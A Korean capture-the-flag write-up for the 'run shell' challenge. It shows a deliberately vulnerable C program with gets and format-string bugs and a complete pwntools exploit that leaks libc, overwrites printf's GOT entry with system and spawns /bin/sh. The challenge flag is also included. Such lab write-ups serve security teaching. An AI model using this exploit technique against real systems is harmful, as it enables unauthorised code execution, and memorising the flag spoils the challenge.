Run shell

문제이름

run shell

사용 된 취약점

got overwrite

풀이 과정

전체 코드

```
//gcc -m32 -fno-stack-protector -no-pie -o run_shell run_shel
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void print_string() {
    char buffer[256];
    setbuf(stdout, NULL);
    setbuf(stdin, NULL);

    printf("stdout = %p\n", stdout);
    printf("Enter a string: \n");
    gets(buffer);
    printf(buffer);

    printf("\nEnter a string: \n");
    gets(buffer);
    printf(buffer);
}

int main() {
    print_string();
```

```
    return 0;
}
```

코드를 보면 gets와 printf를 통해 포맷 스트링 버그와 버퍼 오버플로우 버그가 존재합니다.

이를 통해 쉘을 실행시켜서 플래그를 알아내야 하는데 이 문제에서는 어디에도 쉘과 관련된 코드가 존재하지 않습니다.

해당 문제의 풀이법은 printf를 system함수로 바꿔서 /bin/sh을 실행시키게 하는것입니다.

문제 파일중 libc.so.6이 제공되는데 이를 통해 libcbase의 주소를 구하고 aslr을 통해 알 수 없던 내부 함수들의 주소를 알아내야 합니다.

stdout의 주소를 제공해주니 이를 통해 libcbase를 구할수있습니다.

libc_base = stdout_address - libc.symbols['_IO_2_1_stdout_'] 을 사용하면 libcbase를 구할수있고

system_addr = libc_base + libc.symbols['system']를 통해 system주소를 알아낼수 있습니다.

최종 풀이 코드는 아래와 같습니다.

```
from pwn import *


elf = ELF('./run_shell')
libc = ELF('./libc.so.6')
context.arch = "i386"

# 프로세스 시작
p = process('./run_shell')
context.log_level = "debug"
```

```
# printf() GOT 엔트리 주소 leak
printf_got = elf.got['printf']
log.info(f"printf() GOT entry: {hex(printf_got)}")
p.recvuntil(b'stdout = ')
stdout_address = int(p.recvline(), 16)
log.info(f"printf() address: {hex(stdout_address)}")

# libc 베이스 주소 계산
libc_base = stdout_address - libc.symbols['_IO_2_1_stdout_']
log.info(f"libc base address: {hex(libc_base)}")

# system() 주소 계산
system_addr = libc_base + libc.symbols['system']
log.info(f"system() address: {hex(system_addr)}")

# GOT 오버라이트 페이로드 생성
payload = fmtstr_payload(4, {printf_got: system_addr})

# 페이로드 전송
p.sendline(payload)

# 셸 획득을 위한 "/bin/sh" 전송
p.sendline(b"/bin/sh\x00")

# 셸 획득
p.interactive()
```

FLAG : SOTI{M4gic_TH4t_cH4nGeS_prInT_t0_5y5T3M}